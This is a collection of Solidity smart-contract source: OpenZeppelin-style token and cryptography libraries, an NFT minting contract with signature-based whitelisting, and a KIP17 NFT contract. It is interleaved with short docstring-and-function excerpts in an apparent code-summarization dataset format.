function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITimeCatsLoveEmHateEm {
function ownerOf(uint256 tokenId) external view returns (address owner);
function setAsUsed(uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./ITimeCatsLoveEmHateEm.sol";
contract LongNeckieWomenOfTheYearByNylaHayes is ERC721, Ownable {
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
modifier contractIsNotFrozen() {
require(isFrozen == false, "This function can not be called anymore");
_;
}
uint16 public totalTokens = 1000;
uint16 public totalSupply = 0;
uint256 public mintPrice = 0.125 ether;
string private baseURI =
"ipfs://Qmek5YTipNcMeo6bj3mxyPDSo4WJV7VwWrPQHByEjzur6H/";
string private blankTokenURI =
"ipfs://QmT5cyQ7MsSMfSAE8RcDnG6sb5sSscys21FL4K3M8wZAMF/";
bool private isRevealed = false;
bool private isFrozen = false;
address public signerAddress = 0x2B8CB83a6f86Acc3Ffe5897a02429446c7e2078e;
address public timeCatsAddress = 0x7581F8E289F00591818f6c467939da7F9ab5A777;
mapping(address => bool) public didAddressMint;
mapping(uint16 => uint16) private tokenMatrix;
constructor() ERC721("LongNeckieWomenOfTheYearByNylaHayes", "LNWOTY") {}
// ONLY OWNER
/**
* @dev Allows to withdraw the Ether in the contract
*/
function withdraw() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* @dev Sets the base URI for the API that provides the NFT data.
*/
function setBaseTokenURI(string memory _uri)
external
onlyOwner
contractIsNotFrozen
{
baseURI = _uri;
}
/**
* @dev Sets the blank token URI for the API that provides the NFT data.
*/
function setBlankTokenURI(string memory _uri)
external
onlyOwner
contractIsNotFrozen
{
blankTokenURI = _uri;
}
/**
* @dev Sets the mint price
*/
function setMintPrice(uint256 _mintPrice) external onlyOwner {
mintPrice = _mintPrice;
}
/**
* @dev Give random tokens to the provided address
*/
function devMintTokensToAddresses(address[] memory _addresses)
external
onlyOwner
{
require(
getAvailableTokens() >= _addresses.length,
"No tokens left to be minted"
);
uint16 tmpTotalMintedTokens = totalSupply;
totalSupply += uint16(_addresses.length);
for (uint256 i; i < _addresses.length; i++) {
_mint(_addresses[i], _getTokenToBeMinted(tmpTotalMintedTokens));
tmpTotalMintedTokens++;
}
}
/**
* @dev Set the total amount of tokens
*/
function setTotalTokens(uint16 _totalTokens)
external
onlyOwner
contractIsNotFrozen
{
totalTokens = _totalTokens;
}
/**
* @dev Sets the isRevealed variable to true
*/
function revealDrop() external onlyOwner {
isRevealed = true;
}
/**
* @dev Sets the isFrozen variable to true
*/
function freezeSmartContract() external onlyOwner {
isFrozen = true;
}
/**
* @dev Sets the address that generates the signatures for whitelisting
*/
function setSignerAddress(address _signerAddress) external onlyOwner {
signerAddress = _signerAddress;
}
/**
* @dev Sets the address of the TimeCatsLoveEmHateEm smart contract
*/
function setTimeCatsAddress(address _timeCatsAddress) external onlyOwner {
timeCatsAddress = _timeCatsAddress;
}
// END ONLY OWNER
/**
* @dev Mint a token
*/
function mint(
uint256 _fromTimestamp,
uint256 _toTimestamp,
uint256 _catId,
bool _needsCat,
bytes calldata _signature
) external payable callerIsUser {
bytes32 messageHash = generateMessageHash(
msg.sender,
_fromTimestamp,
_toTimestamp,
_needsCat
);
address recoveredWallet = ECDSA.recover(messageHash, _signature);
require(
recoveredWallet == signerAddress,
"Invalid signature for the caller"
);
require(block.timestamp >= _fromTimestamp, "Too early to mint");
require(block.timestamp <= _toTimestamp, "The signature has expired");
require(getAvailableTokens() > 0, "No tokens left to be minted");
require(msg.value >= mintPrice, "Not enough Ether to mint the token");
require(!didAddressMint[msg.sender], "Caller cannot mint more tokens");
if (_needsCat) {
ITimeCatsLoveEmHateEm catsContract = ITimeCatsLoveEmHateEm(
timeCatsAddress
);
require(
msg.sender == catsContract.ownerOf(_catId),
"Caller does not own the given cat id"
);
catsContract.setAsUsed(_catId);
}
didAddressMint[msg.sender] = true;
_mint(msg.sender, _getTokenToBeMinted(totalSupply));
totalSupply++;
}
/**
* @dev Returns the tokenId by index
*/
function tokenByIndex(uint256 tokenId) external view returns (uint256) {
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
return tokenId;
}
/**
* @dev Returns the base URI for the tokens API.
*/
function baseTokenURI() external view returns (string memory) {
return baseURI;
}
function getAvailableTokens() public view returns (uint16) {
return totalTokens - totalSupply;
}
// Private and Internal functions
/**
* @dev Returns a random available token to be minted
*/
function _getTokenToBeMinted(uint16 _totalMintedTokens)
private
returns (uint16)
{
uint16 maxIndex = totalTokens - _totalMintedTokens;
uint16 random = _getRandomNumber(maxIndex, _totalMintedTokens);
uint16 tokenId = tokenMatrix[random];
if (tokenMatrix[random] == 0) {
tokenId = random;
}
tokenMatrix[maxIndex - 1] == 0
? tokenMatrix[random] = maxIndex - 1
: tokenMatrix[random] = tokenMatrix[maxIndex - 1];
return tokenId;
}
/**
* @dev Generates a pseudo-random number.
*/
function _getRandomNumber(uint16 _upper, uint16 _totalMintedTokens)
private
view
returns (uint16)
{
uint16 random = uint16(
uint256(
keccak256(
abi.encodePacked(
_totalMintedTokens,
blockhash(block.number - 1),
block.coinbase,
block.difficulty,
msg.sender
)
)
)
);
return random % _upper;
}
/**
* @dev See {ERC721}.
*/
function _baseURI() internal view virtual override returns (string memory) {
if (!isRevealed) {
return blankTokenURI;
}
return baseURI;
}
/**
* @dev Generate a message hash for the given parameters
*/
function generateMessageHash(
address _address,
uint256 _fromTimestamp,
uint256 _toTimestamp,
bool _needsCat
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n85",
_address,
_fromTimestamp,
_toTimestamp,
_needsCat
)
);
}
}
|
Sets the address of the TimeCatsLoveEmHateEm smart contract/
|
function setTimeCatsAddress(address _timeCatsAddress) external onlyOwner {
timeCatsAddress = _timeCatsAddress;
}
| 14,831,003 |
./partial_match/1/0xf4E3B927b22317A9569Fa3601aD1F25A2F7B8282/sources/AIPAsset.sol
|
reset token pointer create Assets
|
function createAsset(
string memory _assetName,
uint256 _totalQuantity,
uint256 _assetValue,
address _manager,
uint256 _assetAmount
)
public onlyWhitelistAdmin returns (uint256 _tokenId) {
uint256 tokenId = tokenIdPointer.add(1);
tokenIdPointer = tokenId;
assets[tokenId] = Aesset({
assetName : _assetName,
totalQuantity : _totalQuantity,
assetValue : _assetValue,
manager : _manager
});
totalAssets = totalAssets.add(1);
_issueToken(_manager,_assetAmount);
emit AesetMinted(tokenId, _manager, _assetAmount);
return tokenId;
}
| 3,576,392 |
pragma solidity ^0.5.6;
import "hardhat/console.sol";
import "./utils/Strings.sol";
import "./base/token/KIP17/KIP17Full.sol";
import "./base/token/KIP17/KIP17Mintable.sol";
import "./base/token/KIP17/KIP17Pausable.sol";
contract Who1 is KIP17Full("Who1", "WHO"), KIP17Mintable, KIP17Pausable {
event SetBaseURI(address indexed minter, string uri);
string private _baseURI = "https://IPFS_Gateway_endpoint";
uint256 public mintLimit = 10000;
//return baseURI + token id
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId), "KIP17Metadata: URI query for nonexistent token");
return string(abi.encodePacked(_baseURI, Strings.fromUint256(tokenId)));
}
function baseURI() public view returns (string memory) {
return _baseURI;
}
// Set IPFS Gateway endpoint
function setBaseURI(string memory uri) public onlyMinter {
_baseURI = uri;
emit SetBaseURI(msg.sender, uri);
}
function mint(address to, uint256 tokenId) public onlyMinter returns (bool) {
require(totalSupply() < mintLimit, "Mint limit exceeded");
return super.mint(to, tokenId);
}
function batchMint(address to, uint256[] calldata tokenId) external onlyMinter {
for (uint256 i = 0; i < tokenId.length; i ++) {
mint(to, tokenId[i]);
}
}
function batchTransfer(address to, uint256[] calldata tokenId) external {
for (uint256 i = 0; i < tokenId.length; i ++) {
transferFrom(msg.sender, to, tokenId[i]);
}
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
return _tokensOfOwner(owner);
}
}
|
Set IPFS Gateway endpoint
|
function setBaseURI(string memory uri) public onlyMinter {
_baseURI = uri;
emit SetBaseURI(msg.sender, uri);
}
| 5,471,015 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
